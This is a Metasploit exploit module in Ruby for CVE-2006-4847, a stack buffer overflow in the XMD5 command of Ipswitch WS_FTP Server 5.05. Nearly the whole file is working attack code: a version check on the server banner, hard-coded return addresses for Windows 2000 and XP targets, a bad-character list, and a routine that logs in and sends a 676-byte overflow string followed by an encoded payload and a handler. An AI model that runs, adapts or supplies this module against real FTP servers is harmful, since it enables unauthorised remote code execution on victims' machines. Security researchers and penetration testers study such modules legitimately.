Ipswitch WS_FTP Server 5.05 XMD5 Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the XMD5 verb in  
IPSWITCH WS_FTP Server 5.05.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-4847' ],  
[ 'OSVDB', '28939' ],  
[ 'BID', '20076' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 300,  
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
  
'Targets' =>   
[  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],  
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],  
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],  
  
],  
'DisclosureDate' => 'Sep 14 2006',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect   
if (banner =~ /WS_FTP Server 5.0.5/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
print_status("Trying target #{target.name}...")  
  
sploit = rand_text_alphanumeric(676, payload_badchars)   
sploit << [target.ret].pack('V') + payload.encoded   
  
send_cmd( ['XMD5', sploit] , false)  
  
handler  
disconnect  
end  
  
end  
`